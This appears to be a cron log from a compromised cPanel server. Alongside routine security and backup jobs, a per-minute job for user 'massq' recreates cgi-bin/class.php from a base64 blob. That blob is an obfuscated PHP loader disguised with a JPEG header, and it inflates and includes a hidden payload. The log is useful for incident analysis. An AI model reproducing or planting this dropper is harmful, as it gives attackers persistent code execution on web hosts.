Sep  3 18:53:01 server CROND[23113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:53:01 server CROND[23121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:54:01 server CROND[23490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:54:01 server CROND[23492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:54:01 server CROND[23491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:55:01 server CROND[23876]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 18:55:01 server CROND[23882]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:55:01 server CROND[23884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:55:01 server CROND[23886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:55:01 server CROND[23885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:55:01 server CROND[23887]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 18:55:01 server CROND[23883]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:56:01 server CROND[24699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:56:01 server CROND[24701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:56:01 server CROND[24700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:57:01 server CROND[25074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:57:01 server CROND[25076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:57:01 server CROND[25075]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 18:57:01 server CROND[25077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:58:01 server CROND[25443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:58:01 server CROND[25445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:58:01 server CROND[25444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:59:01 server CROND[25917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:59:01 server CROND[25918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:59:01 server CROND[25919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:00:01 server CROND[26301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:00:01 server CROND[26303]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:00:01 server CROND[26305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:00:01 server CROND[26304]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 19:00:01 server CROND[26308]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 19:00:01 server CROND[26310]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 19:00:01 server CROND[26307]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 19:00:01 server CROND[26311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:00:01 server CROND[26309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:01:01 server CROND[27136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:01:01 server CROND[27137]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 19:01:01 server CROND[27138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:01:01 server CROND[27135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:01:01 server run-parts(/etc/cron.hourly)[27137]: starting 0anacron
Sep  3 19:01:01 server run-parts(/etc/cron.hourly)[27156]: finished 0anacron
Sep  3 19:02:01 server CROND[27520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:02:01 server CROND[27521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:02:01 server CROND[27522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:03:01 server CROND[27918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:03:01 server CROND[27919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:03:01 server CROND[27920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:04:01 server CROND[28397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:04:01 server CROND[28398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:04:01 server CROND[28399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:05:01 server CROND[28770]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:05:01 server CROND[28771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
